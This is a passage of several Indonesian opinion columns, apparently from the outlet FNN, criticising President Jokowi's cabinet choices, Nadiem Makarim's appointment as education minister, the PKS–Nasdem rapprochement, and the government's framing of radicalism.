memecahkannya juga lebih rumit lagi. Bembiarkannya, sama saja dengan membuat spektrum politik menjadi serba negative ke depan. Rumit, tapi tidak kusut memang. Akankah Pak Jokowi mendatangi mereka dengan paket pemecahan masalah yang menyenangkan? Dan apakah selaras dengan keadaan bangsa ini? Infrastruktur tak punya hati. Manusia punya hati yang bisa merasa. Juga punya emosi dan punya mimpi. Terburu-buru akan menghasilkan solusi yang rapuh. Tetapi berlama-lama justru dapat memanggil fenomena James Comey, Direktur FBI yang disingkirkan Trump dari jabatannya. Anda tahu? Comey muncul di depan Komite Inteljen DPR menjahit secara rapih berbagai cerita tentang isu keterlibatan Rusia dalam pemilu yang menghasilkan Trump sebagai Presiden. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Guru Besar Marah, Nadiem Hanya Setara Dengan Guru Paling “Dlosor”

Taruhlah prestasi inovatifnya Nadiem adalah dengan buat aplikasi GoJek. Kategori kompleks menurut peraturan bersama Mendikbud dan Kepala Badan Kepegawaian Negara (BKN), angka kredit Nadiem hanya 4 x 1. Maka total Kum (Komulatif) angka kredit Nadiem adalah 154. Angka kredit ini hanya cukup untuk naik pangkat dari guru pertama golongan IIIa ke guru pertama yang golongan IIIb. Oleh M. Juhri Jakarta, FNN - Bila Guru Besar itu Jenderal, maka Mendikbud Nadiem yang baru dilantik ini masih berpangkat Letenan. Bagi sebagian orang, hal itu tak soal. Alasannya bisa saja nanti Nadiem lebih hebat dari para Guru Besar. Tetapi yang begini jangan ditanya ke militer atau polisi. Sebab bisa ditempeleng. Mana mau Jenderal dipimpin oleh panglima yang pangkatnya hanya seorang Letenan. Oh, ternyata itu sama. Guru Besar juga begitu sebenarnya. Meraka Marah. Ya para Guru Besar marah. Hanya mereka tak bersuara, karena rejim ini terbukti represif. Beberapa profesor yang kritis di periode pertama Jokowi berkuasa, banyak yang diamputasi dari tugas pengabdian akademiknya. Bukan hanya Guru Besar yang gelar akademisnya profesor yang marah. Banyak pemangku kepentingan pendidikan, termasuk emak-emak juga marah. Mereka tidak suka dengan pengangkatan Nadiem Makarim sebagai Menteri Pendidikan dan Kebudayaan. Memang, pengangkatan Nadiem sesuai dengan janji Jokowi di periode pertama yang mau mengangkat Mendikbud dari Persastuan Guru Reoublik Indonesia (PGRI). Nadiem juga PGRI. Malah Nadiem pendiri malah. Tetapi, Nadiem bukan dari organisasi guru pejuang atau PGRI. Nadiem berasal dari Persatuan Gojek Republik Indonesia. PGRI juga yang oleh pejabat Malaysia saja dianggap "hina”. Flashback ke cerita lama. Dulu, di sebuah perguruan tinggi negeri, mahasiswanya ogah lulus hanya karena rektornya belum profesor. Banyak mahasiswa dilama-lamain kuliahnya menunggu rektornya berganti dengan professor. Tidak masalah harus menghabiskan waktu tujuh tahun di kampus menunggu rektor profesor. Meskipun sang rektor bergelar S1 Belanda. Dokterandur di jaman dulu sudah sangat hebat. Mahasiswa tidak mau ternoda ijazahnya dengan tandatangan rektor yang hanya bergelar dokterandus tanpa embel-embel gelar profesor. Meskipun untuk itu mereka rela berlama-lama, hanya mengambil empat Satuan Kreditr Semester (SKS) untuk satu semester lagi. PPL atau KKN yang bisa diambil dalam satu semester, dipisah menjadi sendiri-sendiri. Untuk semester berikutnya 7 SKS metodologi penelitian dan seminar. Lalu lanjut ke semester berikutnya, yaitu skripsi yang ditempuhnya bisa dua semester. Kalau strategi berlama-lama ini susah dipenuhi, maka mahasiswa merubah strategi. Mahasiswa biasanya memilih mengambil cuti dua semester tidak berturut-turut. Dulu, cara ini bisa dilakukan, karena SPP hanya Rp 60.000 per semester. Ya demi ijazah harus ditandatangani oleh rector yang bergelar profesor. Kalau sekarang, berlama-lama di bangku kuliah, bisa membuat bangkrut orang tua. Saking mahalnya biasa kuliah per semester. Gambaran para mahasiswa itu, kini menjadi kegundahan yang melanda para calon Guru Besar. Betapa tidak, nanti Surat Keputusan (SK) pengangkatan Guru Besarnya ditandatangani oleh oknum yang setara dengan pangkat guru paling "dlosor", alias paling bawah. Dengan persyaratan Kementerian Pendidikan dan Kebudayaan (Kemendikbud) yang dinaikkan, maka pangkat paling dlosor itu bukan hanya guru SMP dan SMA saja. Namun guru SD juga dlosor. Malah tidak sedikit guru Pendidikan Anak Usia Dini (PAUD) dan Taman Kanak-Kanak (TK) yang sudah S1, pangkatnya sekarang setara dengan golongasn IIIa. Jadi kalau Mendikbud Nadiem Makarim yang usianya 35 tahun ini diangkat PNS, maka termasuk Aparat Sipil Negara (ASN) yang baru diangkat. Nilai angka kreditnya 100 untuk pendidikan yang S1 bergelar BA. Sedngkan S2-nya yang bergelar MBA, angka kreditnya 50. Jadi total kreditnya baru 150. Itu pun harus memperoleh persyaratan penyetaraan lulusan luar negeri. Taruhlah prestasi inovatifnya Nadiem adalah dengan buat aplikasi GoJek. Kategori kompleks menurut peraturan bersama Mendikbud dan Kepala Badan Kepegawaian Negara (BKN), angka kredit Nadiem hanya 4 x 1. Maka total Kum (Komulatif) angka kredit Nadiem adalah 154. Angka kredit ini hanya cukup untuk naik pangkat dari guru pertama golongan IIIa ke guru pertama yang golongan IIIb. Bandingkan dengan profesor pemula, Pembina Utama Madya yang golongan IVd. Profesor pemula yang naik dari doktor atau gelar S3, sudah jadi syarat pendidikan formal dengan Kum angka kreditnya 850. Sedangkan Kum 1.050 wajib untuk guru besar dengan pangkat Pembina Utama golongan IVe. Itu pun dengan syarat minimal 35% adalah pengajaran, dan 45% penelitian. Tidak boleh lebih 10% pengabdian dan tidak boleh lebih 10% penunjang. Syarat penting yang sering menjadi kendala diangkatnya dosen sebagai Guru Besar adalah tulisan di jurnal Internasional yang berindeks scopus. Nilai angka kreditnya harus memenuhi 0,15 yang masuk kategori Q3 atau Q4. Dengan mengikuti angka kredit di Perguruan Tinggi ini, maka jabatan yang paling pas untuk Nadiem Makarim hanya Asisten Ahli, dengan pangkat Penata Muda Tingkat I golongan IIIb. Jabatan ini juga termasuk yang paling dlosor di antara sesame dosen. Jauh di bawah Guru Besar yang dipimpinnya. Aneh memang, sebab professor Pembina Utama akan dibina oleh Mendikbud yang masih Asisten Ahli. Soal Mendikbud yang belum profesor ini sebenarnya bukan hal baru. Dulu, Dr. Ing. Wardiman Djojonegoro menjadi profesor setelah menjadi Mendikbud. Tetapi mendongkraknya tidak terlalu menimbulkan kecemburuan yang besar, karena dari usia dan pengabdiannya mencukupi. Mendikbud kelahiran Pamekasan ini bertutur dalam Buku Biografinya berjudul “Sepanjang Jalan Kenangan”. Seperti ini Wardiman berujar “ketika itu, Wardiman sudah sepuluh tahun memperoleh gelar doktor dari Technische Hogeshool (TH) Delft Belanda. Namun ditegor oleh BJ Habibie, ‘Man, kenapa tidak sekalian menjadi profesor?” Kata Wardiman, yaya hanya mengangguk dan tersenyum. Saat itu, saya menjabat Menteri Pendidikan dan Kebudayaan. Saya pun menanyakan tentang persyaratan untuk diangkat menjadi guru besar. Staf Wardiman di Depdikbud mengatakan, Kum saya sudah melebihi kriteria sebagai guru besar. Wardiman lalu menghubungi Rektor Universitas Padjajaran. Apakah tidak keberatan menjadi tempat bagi promosi gelar profesor bagi saya? Wardimana minta ditetapkan sebagai Guru Besar, dan akan menyampaikan orasi ilmiah dalam upacara pengukuhannya sebagai Guru Besar tahun 1994. Padahal Wardiman diangkat menjadi Mendikbud untuk periode 1993 – 1998. Namun untuk Mendikbud Nadiem hanya yang setara dengan pangkat atau golongan guru dan dosen yang paling dlosor ini, yaitu Asisten Ahli. Kalau langsung diangkat sebagai professor, akan menimbulkan gonjang-ganjing pada tatanan kepangkatan fungsional di Kemendikbud. Bisa saja sebagai pemegang kuasa, Nadiem bisa saja "meminta" Perguruan Tinggi (PT) memberinya gelar Guru Besar Kehormatan, seperti Puan Maharani, yang diprotes oleh Guru Gesar. Atau mungkin seperti SBY yang mendapat gelar profesor tidak tetap. Entah apa maksudnya dengan profesor tidak tetap tersebut. Apa guru besar belum permanen? Bisa saja gelar Guru Besarnya berubah-ubah. Kadang bisa mengecil, kadang juga bisa membesar. Bila MenPan-RB mempersyaratkan dosen dengan angka kredit yang ketat sebagai ukuran kualitas dosen dan perguruan tinggi. Dipastikan Mendikbud Nadiem sebagai pimpinan para rektor, para guru besar tidak memenuhi standar mutu. Dengan begitu, seharusnya MenPAN-RB mengkategorikan Kemendikbud sebagai kementerian yang tidak bermutu dari sisi reformasi birokrasi. Dengan syarat yang begitu berat tersebut, Jokowi sama sekali tidak bertenggang rasa dengan para profesor di Indonesia, karena mengangkat Nadiem menjadi Mendikbud. Karena untuk menjadi professor itu, tidak mudah. Tahun lalu 2018 lalu, ada 2.750 dosen tidak memenuhi syarat sebagai guru besar. Sedangkan dengan karya inovatif Gojek tersebut, sebanarnya banyak guru besar yang tidak kalah hebatnya. Banyak Guru Besar yang menjadi memegang banyak hak paten. Sementara ijazah luar negeri pun tidaklah memperoleh pengakuan penyetaraan di dalam negeri. Seharusnya, dengan diangkatnya Nadiem menjadi Mendikbud, maka sepertinya semua syarat-syarat untuk menjadi Guru Besar juga harus dibebaskan. Guru dikembalikan kepada kenaikan pangkat otomatis berkala. Dihitung dari tahun pengabdian sang guru. Perguruan Tinggi juga perlu diberikan kebebasan bebas sebebasnya. Mereka bisa sesuka sukanya saja mengangkat sesorang menjadi Guru Sesar. Toh, sama seperti Pak Jokowi yang suka-sukanya mengakat Nadiem sebagai Mendikbud. Kata orang Jawa seenak udele dewe. Penulis adalah Wartawan Senior

PKS Dalam Pelukan Surya Paloh

Oleh Hersubeno Arief Jakarta, FNN - Picture of the week! Foto Ketua Umum Partai Nasdem Surya Paloh berpelukan erat dengan Presiden PKS M Sohibul Iman, layak dinobatkan sebagai “Foto pilihan pekan ini.” Foto keduanya dalam pose berpelukan ala teletubbies, beredar secara cepat di medsos. Lengkap dengan berbagai komentar. Komentar yang muncul kebanyakan mengundang senyum. Ada juga yang membuat meme. Foto itu disandingkan dengan foto Prabowo sedang berwelfie ria bersama Megawati dan Puan Maharani. Captionnya: Cinta yang tertukar! Secara visual, foto yang diabadikan ketika Surya Paloh berkunjung ke kantor DPP PKS itu memang sangat kuat. Apalagi tafsir politiknya. Jauh lebih menarik dan multi tafsir. PKS adalah satu-satunya partai yang sejak awal menyatakan oposisi terhadap Jokowi. Sementara Nasdem partai pendukung Jokowi yang berkali-kali menyatakan siap menjadi oposisi. Walau akhirnya tetap masuk kabinet, dan menempatkan tiga orang menteri. Dari sisi positioning, secara politis keduanya berada dalam kubu berseberangan. Sebelumnya sulit membayangkan mereka akan berpeluk-ria, apalagi sampai membuat beberapa kesepakatan. Tapi itulah fenomena politik kontemporer Indonesia. Tempat adagium bahwa politik sebagai the art of possibility benar-benar diterapkan. Kemungkinannya bahkan jauh melampaui apa yang dapat kita bayangkan. Beyond our imagination. Prabowo saja bisa masuk kabinet Jokowi dan menjadi Menhan. Mengapa pula Surya Paloh dan Sohibul Iman tidak bisa berpeluk-mesra dan membuat blok baru oposisi? Gak perlu baper Pertemuan antara Surya Paloh dan Sohibul Iman ini kian menyadarkan kita, jangan terlalu baper dalam melihat politik Indonesia. Ojo kagetan. Ojo gumunan. Dengan begitu kita tidak perlu kaget, marah, apalagi sakit hati ketika tiba-tiba tokoh atau partai yang kita dukung berubah haluan di tengah jalan. Woles saja. Namanya juga politisi. Mari kita simak beberapa fakta dan fenomena berikut ini: Pertama, batas antara penguasa dan oposisi sangat kabur. Bisa saja oposisi kemudian bergabung dengan penguasa. Sebaliknya yang berada dalam pemerintahan karena kepentingannya kurang/tidak terakomodasi, berancang-ancang menjadi oposisi. Kedua, karena adanya kepentingan yang sama, pemerintah dan oposisi bisa saling bahu membahu dan saling mendukung. Tidak peduli suara pemilih, suara rakyat. Pengesahan UU KPK adalah contoh nyata. Semua fraksi di DPR sepakat mendukung, kendati mendapat perlawanan keras dari masyarakat, mahasiswa dan pelajar. Imbalannya semua fraksi mendapat jatah kursi wakil ketua MPR, termasuk PKS. Caranya dengan mengubah Pasal 15 UU Kedudukan MPR, DPR, DPD dan DPRD (MD3). Ketiga, kabinet besar dan gemuk Jokowi berpotensi pecah di tengah jalan. Kabinet yang dimaksudkan membuat semua happy, “disini senang, dis senang,” berubah menjadi “di sini senang, di sana berang.” Banyak yang tidak puas dengan pembagian jatah kursi di kabinet. Nasdem sudah menyatakan secara terbuka. Mereka keberatan dengan masuknya Gerindra, apalagi mendapat pos penting sebagai Menhan. Keempat, Jokowi tampaknya harus sudah bersiap-siap menghadapi oposisi yang cukup kuat di DPR, termasuk dari partai pengusungnya. Nasdem sudah mengisyaratkan kemungkinan akan menjalin kerjasama dengan PKS di DPR. PDIP juga tampaknya tidak puas dengan pembagian jatah kursi di kabinet. Apalagi Luhut Panjaitan ternyata masih berperan besar di pemerintahan. Bukan tidak mungkin PDIP juga akan menjadi oposisi terhadap beberapa kebijakan pemerintah. Oposisi di DPR akan kian besar dengan tidak diakomodasinya PAN dan Demokrat di kabinet. Kelima, tiga tahun, atau paling lambat dua tahun jelang Pemilu 2024 sudah mulai terbentuk konfigurasi kekuatan politik baru. Parpol pendukung Jokowi bisa bubar jalan, atau setidaknya mulai mencari jagoan masing-masing. Pertemuan PKS dan Nasdem bisa menjadi indikator mulai terbentuknya embrio baru koalisi parpol pada Pilpres 2024. Pertemuan ini bisa dilihat sebagai sebuah lanjutan dari pertemuan Surya Paloh dengan Gubernur DKI Anies Baswedan beberapa waktu lalu. Waktu dan kepentingan politik akan menentukan apakah kemesraan ala *_teletubbies_* itu berlanjut sampai 2024, atau hanya manuver sesaat. Publik pasti belum lupa bagaimana Prabowo dan Surya Paloh juga baku rangkul menjelang pembentukan kabinet. Saat itu Surya menyatakan kepentingan negara di atas kepentingan parpol. Ternyata Nasdem menyabot kursi Menteri Pertanian yang sudah lama diincar Gerindra. Sebaliknya Gerindra yang mematok harga mati kursi Mentan, tetap bersedia masuk kabinet dengan kompensasi kursi Menteri Kelautan dan Perikanan. end

Radikalisme Said Aqil Siroj

Oleh Dr. Syahganda Nainggolan Jakarta, FNN - Pimpinan utama organisasi Islam terbesar di dunia, Nahdatul Ulama, Said Aqil Siroj, kemarin, sebagai mana diberitakan berbagai media, meminta kita menghormati dan mendoakan Imam Besar Front Pembela Islam Habib Rizieq Sihab (HRS) . Ini berita pertama yang melibatkan suara ketua umum NU itu sejak Jokowi melantik menteri agama dari kalangan eks militer dan menugaskannya untuk membasmi radikalisme. Suara Said Agil ini tentunya menambah besar polemik dan diskursus radikalisme di Indonesia. Sebab, yang diminta untuk dihormatinya adalah tokoh paling radikal di Indonesia. Sebelumnya kita mendengar pandangan Professor Din Syamsudin, mantan ketua umum Muhammadiyah, terkait penugasan Jokowi yang utama pada menag soal radikalisme ini, agar pemerintah mengganti kementerian agama menjadi kementerian urusan radikal. Dan isu radikal itu harus mempertimbangkan dimensi lain selain agama, seperti radikalisme ekonomi, dll. Sebelumnya juga ekonom Dr. Rizal Ramli telah mensinyalir bahwa isu radikalisme ini sengaja dimainkan rezim Jokowi untuk menutupi situasi perekonomian nasional yang bobrok dan akan semakin buruk. Adhi Masardi, mantan juru bicara Gus Dur, dalam tulisannya "Isu Radikal, Permainan Politisi Lokal", menekankan kekonyolan permainan isu ini. Menurutnya ini seperti anak kecil yang dimarahi orang tuanya lalu keluar rumah dan melempari rumahnya sendiri, alias merusak rumahnya sendiri dan memalukan di mata tetangga. Margarito Kamis, dalam "Jokowi Bicara Radikalisme" (fnn. co.id), menyoroti bahayanya Jokowi memainkan isu radikalisme ini tanpa difinisi/konsep yang jelas soal radikalisme ini. Jokowi disebutkan bisa saja membelakangi konstitusi. Sebab, sebelum konsep itu mempunyai landasan hukum yang tegas, isu itu dapat menyasar kepada kebencian tehadap umat Islam. Suara Said Aqil ini mengandung beberapa pesan penting yang perlu kita kaji, 1) penghormatan terhadap HRS adalah penghormatan terhadap tokoh yang paling radikal di Indonesia- dalam perspektif rezim Jokowi selama ini. 2) NU arus utama menganulir sikap sikap mereka sebelumnya terhadap pandangan dan aksi FPI maupun 212, yang selama ini dikecamnya. 3) mendoakan dan menghormati HRS dapat berarti mendukung radikalisme gerakan HRS. Mispersepsi Radikalisme Radikal adalah sebuah kata latin "radic" yang berarti dalam atau keakar-akarnya. Sebuah pandangan radikal dikaitkan dengan konsep transformasi sosial yang dalam, sampe keakar2nya. Di barat, kosa kata ini awalnya dilabelkan pada gerakan kiri dan komunis yang ingin mengganti sistem negara kapitalis barat menjadi sosialistik. Namun, label itu kemudian disematkan juga pada gerakan2 lain yang prinsipnya menghancurkan sistem sosial yang dominan. Di Amerika misalnya, gerakan supermasi kulit putih (white supremacy), juga dilabeli dengan radikal. Alex Schmid, dalam "Radicalization , De-Radicalization, Counter-Radicalization: A Conceptual Discussion and Literature Review", 2013, mengemukakan perbedaan konsep antara radikal dan ekstrimis. Radikal dapat dengan kekerasan dan tanpa kekerasan, namun radikal merupakan kelompok "open-minded" atau berpikir terbuka, sebaliknya ekstrimist mempunyai pandangan sempit atau "closed minded", yang cenderung meyakini sesuatu kebenaran dalam versi dia sendiri (mono-causal interpretation) serta cenderung menganjurkan kekerasan. Radikal cenderung bisa demokratik dan "historically," tend to be more open to rationality and pragmatic compromise.. " Sebagai professor bergengsi dalam bidang radikalisme dan terorisme, Schmid menyarankan agar pembahasan soal radikalisme ini mengaitkan konteks agar tidak "misleading" dalam membuat kesimpulannya. Seraphin Alava et. al dalam "Youth and Violent Extrimism On Social Media: Mapping The Research", UNESCO, 2017, juga menyarankan pentingnya penggunaan isu radikalisme dalam konteks nasional tertentu. Di China, misalnya, radikalisme dan ekstrimisme hanya diarahkan pada orang-orang Uighur atau radikalisme lebih diidentikkam dengan separatisme. Di Indonesia, penggunaan kata radikal, ekstrimis dan teroris seringkali tertukar dan tidak merujuk pada suatu definisi yang pasti. Sehingga ini membahayakan dalam agenda aksi pemerintah menangani keselamatan warganya. Di Mana Bahayanya? Agenda aksi pemerintahan Jokowi. membubarkan Hizbut Tahrir Indonesia (HTI) tanpa melalui pengadilan dalam kacamata barat disebut sebagai "illiberal democracy". Suatu cara yang diasumsikan sebagai praktik non demokrasi dalam menegakkan atau mempertahankan demokrasi. Dalam sepuluh tahun pemerintahan SBY, misalnya, semua kejahatan politik berakhir melalui pengadilan. Karena dalam demokrasi hakim adalah orang terakhir yang menyatakan "kebenaran". Dan HTI tidak terbukti di pengadilan melakukan kekerasan. Bersamaan dengan pembubaran HTI, rezim Jokowi jilid satu terindikasi menyasar pada pembubaran FPI. Pemerintahan Jokowi saat itu mengulur-ulur perpanjangan ijin ormas FPI dikementerian dalam negeri. Bahaya yang dimaksudkan di atas adalah antara "illiberal democracy" dan "freedom of speech & freedom to organize" dapat semakin kabur, tergantung dari kacamata sempit rezim penguasa. Dan ini akan mungkin mendorong negara menjadi "state-actor terrorism". Kejahatan negara terhadap rakyatnya setidaknya mulai terindikasi dengan penemuan-penemuan Amnesti Internasional, LBH, Kontras dll bahwa negara bertanggung jawab atas kematian dan kekerasan yang dialami demontran yang menolak hasil pemilu pada 21-22 Mei 2019 dan mahasiswa yang menolak revisi UU KPK lalu. Berbeda dengan urusan terkait ormas Islam itu, pengamat barat, khususnya kelompok Indonesianis di Australia, melihat rezim Indonesia yang berkuasa saat ini sudah kembali menjadi rezim otoritatian (Authoritarian-turn), sebagai mana dinyatakan professor Aspinal dkk dari Australia National University. Radikal dalam konteks nasional tertentu dapat di musuhi oleh sebuah negara, namun dapat dipahami komunitas human rights internasional, terutama terkait aksi membela diri kelompok masyarakat dari kekerasan negara (state-actor terrorism). Kelompok bersenjata di Irlandia, IRA, misalnya, beberapa dekade lalu, mendapatkan dukungan berbagai kelompok internasional, khususnya Gereja Katolik, karena dianggap mempertahankan diri dari kekejaman pemerintah dan dukungan Inggris kala itu. Begitu juga kelompok bersenjata di Papua, yang melakukan kekerasan terhadap penduduk Indonesia non Papua dan militer/polisi, mendapat dukungan internasional, khususnya komunitas masyarakat Israel, Australia, Ingrris, negara-negara pasifik dan Amerika. Untuk menghindari mispersepsi pada konsep radikalisme, kembali perlu melihat konteks dalam lingkup sosial politik nasional yang sedang berlangsung. Radikal dalam konteks nasional tertentu dapat di musuhi oleh sebuah negara, namun dapat dipahami komunitas human rights internasional, terutama terkait aksi membela diri kelompok masyarakat dari kekerasan negara (state-actor terrorism). Kelompok bersenjata di Irlandia, IRA, misalnya, beberapa dekade lalu, mendapatkan dukungan berbagai kelompok internasional, khususnya Gereja Katolik, karena dianggap mempertahankan diri dari kekejaman pemerintah dan dukungan Inggris kala itu. Begitu juga kelompok bersenjata di Papua, yang melakukan kekerasan terhadap penduduk Indonesia non Papua dan militer/polisi, mendapat dukungan internasional, khususnya komunitas masyarakat Israel, Australia, Ingrris, negara2 pasifik dan Amerika. Melihat radikalisme dalam konteks sebuah bangsa akan melengkapi pemahaman atas mana yang benar benar menjadi musuh bersama sebuah bangsa dan mana yang hanya menjadi komoditas politik kekuasaan tertentu. Penutup Said Aqil telah mendoakan dan menghormati Habib Rizieq. Habib Rizieq Sihab adalah manusia paling radikal di Indonesia. Karena perjuangan HRS adalah untuk merombak struktur sosial yang dikuasai segelintir ologarki, khususnya menurut dia Sembilan Naga. Rizieq bersumpah akan menjadikan sembilam naga menjadi sembilan cacing. Dan gerakan Rizieq mendapat apresiasi besar dari ummat Islam. Masa lalu organisasi FPI yang pro kekerasan, selama 5 tahun terakhir ini berkembang ke arah demokrasi. Yakni melibatkan diri pada kontestasi politik via pemilu dan pilkada. Meskipun pergeseran ini belum menghilangkan luka dan keraguan kelompok2 minoritas atas FPI, yang dipersepsikan masih memasukkan kekerasan dalam aksinya. Sejauh ini kita sudah melihat radikalisme itu dapat tanpa kekerasan tapi dapat juga dengan kekerasan. Namun radikalisme tidak harus mengarah pada ekstrimisme. Ekstrimisme, seperti gerakan Abubakar Baasyir, misalnya, tidak juga sama dengan gerakan radikalisme HRS. Radikalisme mengutuk teorisme sedangkan ekstrimisme dapat mendorong ke arah terorisme. Pertanyaan besar kemudian, bagaimana jika ulama pimpinan utama Nahdatul Ulama mendukung dan mendoakan Habib Rizieq Sihab? Bagaimana lebel yang harus diberikan pada Said Aqil Siroj? Ini merupakan misteri dari radikalisme Said Aqil Siroj tentunya. Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Jokowi Bicara Radikalisme

Negara hukum demokratis, mengharuskan terminologi atau konsep “radikalisme dan intoleransi” dibuat secara jelas. Dan itulah, saya duga, suka atau tidak menjadi inti pandangan Pak Din Syamsudin dan Zainut Tauhid Sa’adi, Wamen Kemenag ini. Oleh Margarito Kamis Jakarta, FNN - Pemerintah dimanapun selalu memiliki perangkat resmi dan tidak resmi. Tugasnya, memonitor, mengumpulkan, menganalisis setiap inci realitas bangsanya. Setelah itu memproyeksi realitas baru. Apa saja yang dilakukan ke depan. Pemerintahan Jokowi juga memiliknya. Berbekal itu atau tidak, Presiden Jokowi membuat pernyataan tak terukur pada dua kesempatan berbeda. Pernyataan itu dalam intinya, tentang Kementerian Agama (Kemenag) mengurusi radikalisme dan intoleransi. Dikemukakan pertama kali pada saat pelantikan menteri-menterinya. Diulang lagi pada hari berikutnya pada saat rapat perdana kabinetnya. Katanya sesaat setelah pelantikan menteri “ke-9 Bapak Jenderal Fachrul Razi sebagai Menteri Agama. Ini urusan (Menag) berkaitan dengan radikalisme, ekonomi ummat, industri halal. Saya kira, dan terutama haji berada di bawah beliau (CNNIndonesia.com, 24/10). Sehari setelah itu, Presiden menyatakan kembali dalam rapat perdana kabinet. Kata Presiden, “kita ingin berkaitan dengan radikalisme, yang berkaitan dengan intoleransi, betul-betul secara kongkrit bisa dilakukan oleh Kementerian Agama”. Dipilihnya Jendral (Purn) Fachrul Razi menjadi menteri agama, menurut Presiden karena mantan wakil panglima TNI 1999-2000 itu memiliki kemampuan untuk mengatasi masalah radikalisme, yang saat ini tengah menjadi keresahan di publik (Wowkeren, 25/10).” Insyaa Allah Menjadi politisi bukan pekerjaan rumit. Sejauh tersedia bakat untuk itu. Misalnya, bersedia menanggung cercaan, hinaan dan sejenisnya. Toh politik tidak seluruhnya berputar pada kemampuan membuat hal-hal yang tidak mungkin berubah menjadi mungkin. Begitu pula sebaliknya. Politik malah lebih sering terlihat sebagai seni membuat konflik berputar dalam kendali. Pada garis kehendak yang ditetapkan. Apa yang Jokowi masksudkan radikalisme dan intoleran itu? Dengan pemahaman apa ia memasuki isu radikalisme dan intoleransi tersebut? Tidak ada yang mengetahuinya. Tetapi apapun itu Presiden Jokowi telah memperlihatkan relasi determinan agama. Determinan yang terlihat mengarah kepada Islam. Karena dengan radikalisme dan intoleransi itulah, yang sekarang mengakibatkan penyataan membahana membelah realitas kemesraan tradisional Nahdatul Ulama (NU) dengan Muhammadiah dengan kementerian ini. Pak Din, professor pintar dan berintegritas top ini pun menanggapinya. Kata Pak Din, seharusnya Kemenag bukan memberantas hal semacam itu. Kemenag memiliki peranan yang jauh lebih luas untuk membangun moralitas bangsa. Kemenag jangan disalahfungsikan, sebab radikalisme tidak hanya di seputaran agama. Radikalisme tidak hanya radikalisme keagamaan. Lebih jauh, disini terlihat Pak Din menempatkan, membawa isu itu ke dalam alam konstitusionalisme. Pak Din menguraikan dalam nada kritis bahwa “kenapa tidak boleh disebut radikalisme ekonomi ? Yang melakukan pelarian dan kekerasan pemodalan? Yang menimbulkan kesenjangan ekonomi, jurang antara yang kaya dan miskin. Dalam penilaian kritisnya, Pak Din menamakan radikalisme ekonomi. Kenapa tidak radikalisme politik? Kata radikalisme itu agak “tendensius” tanda petik dari saya. Karena lebih banyak ditekankan kepada umat Islam. (Teropongsenayan, 24/10). Jalan Pak Din memang bukan jalan Kiyai Robikin, salah seorang fungsionaris PB NU. Kiyai Robikin memperlihatkan kemiripan pandangan NU dengan Presiden mengenai bahaya radikalisme. Tetapi kemiripan ini tidak cukup membuat NU puas. Setidaknya kiyai-kiyai NU di daerah tidak nyaman dengan pernyataan Presiden masalah radikalisme. Karena bukan orang NU itulah menurut Kiyai Robikin, banyak kiyai-kiyai di daerah yang menyatakan protesnya (Kumparan, 24/10). Kiyai Robikin tak mungkin memasuki area ini tanpa alasan. Tetapi Jokowi, entah karena keluhan NU atau bukan, sehari setelah pengangkatan Menteri Agama, mengangkat KH Zainut Tauhid Sa’adi menjadi Wakil Menteri Agama. Kiyai Zainut dikenal luas memiliki jejak positif dalam urusan keummatan. Beliau tahu seluk-beluk perasaan ummat Islam. Kapasitasnya yang hebat memudahkan Pak Wamen menemukan cara pemecahannya. Pak Wamen sontak menyodorkan gagasan silaturrahim dengan para kiyai dan Ormas keagamaan. Menurutnya, ini harus sudah terlaksana sebelum benar-benar merancang program dan kegiatan kementerian ini. Bisa memunculkan penilain yang membelah di mayarakat. Sebab (isu radikalisme), dalam penilaiannya bisa menyebabkan kontroversi di masyarakat. Menguraikannya menjadi pekerjaan yang harus segera dilakukan oleh Kemenag (Republika.co.id, 25/10). Pak Wamen benar. Terminologi radikalisme dan intoleransi itu sangat tidak jelas. Apa konsepnya? Apa objeknya? Apa bentuknya, dan apa unsurnya? Serba tak jelas parameternya. Terlihat sejauh ini hanya diserahkan ke dunia politik. Pak Wamen juga benar, jika silaturrahim adalah wahana terindah untuk menghidupkan rasa sebagai sesama hamba Allah. Dan saya cukup yakin Pak Jendral Fachrul juga menyukai silaturrahim di lintasan yang indah ini nantinya. Insyaa Allah. Waktu Menjadi Hakim Mengandalkan hukuman dalam merespon tindak-tanduk radikalisme dan intoleransi, sejauh ini bukan pilihan utama Jokowi. Apalagi belom jelas detail konsep itu secara hokum. Walaupun lebih dipertautkan dengan agama,khususnya Islam. Namun yang bisa dikatakan Pak Presiden tampkanya lebih memilih komunikasi dan silaturahmi. Pak Presiden terlihat cukup jelas lebih memerlukan langkah non hukum. Tetapi justru disitulah letak soalnya. Dimana letak soalnya? Negara hukum demokratis mengharuskan kejelasan yang sejelas-jelasnya setiap terminologi atau konsep yang dijadikan sebagai basis tindakan pemerintahan. Konsep dan detailnya yang tidak jelas. Tetapi dijadikan sebagai basis kebijakan negara, maka harus dikatakan sama dengan main politik. Negara hukum demokratis mengharuskan terminologi atau konsep “radikalisme dan intoleransi” dibuat secara jelas. Dan itulah, saya duga, suka atau tidak menjadi inti pandangan Pak Din Syamsudin dan Zainut Tauhid Sa’adi, Wamen Kemenag ini. Membuat jelas konsep radikalisme dan intoleransi adalah cara konstitusional memotong, membelenggu, mengisolasi tindakan main lebel, main tuduh. Presiden Jokowi, saya duga, jauh dari kehendak melebel Islam dengan radikalisme dan intoleransi. Saya percaya itu, lebih dari yang bisa dibayangkan. Tetapi bukan disitu soalnya. Soalnya tanpa konsep yang jelas, terukur pada detail dan unsur-unsurnya. Tetapi menjadikannya sebagai isu utama tindakan pemerintahan, sama dengan menyatakan telah ada radikalisme dan intoleransi. Hanya berdasarkan defenisi Presiden. Sebaik-baiknya niat Presiden memberangus radikalisme, Presiden juga dituntut untuk memiliki pijakan terukur secara hukum. Negara hukum demokratis, sekali lagi, mutlak mengharuskan konsep-konsep radikalisme dan intoleransi dirumuskan terlebih dahulu dalam hukum. Rumusannya, harus selaras dengan nalar keadilan. Harus terukur dalam semua aspek detailnya. Juga harus selaras dengan nilai-nilai hebat, agung, fundamental yang melembaga dalam kearifan-kearifan bangsa yang hebat ini. Negara hukum demokratis, juga mengharuskan diciptakannya lingkungan yang civilized. Bebas dari rasa takut, apapun jenisnya. Tetapi ketakutan mendadak yang tak terukur, tidak bisa diambil dan dijadikan basis kebijakan hukum. Ketakutan mendadak dan tak terukur, hanya menghadirkan legitimasi murahan. Semua itu, karena derajat kesesuaiannya tidak kokoh. Jangan lupa legitimasi ditunjuk konstitusionalisme sebagai standar utama membuat hukum. Juga standar utama menciptakan daya adaptasi tindakan pemerintahan dengan semua nilai yang 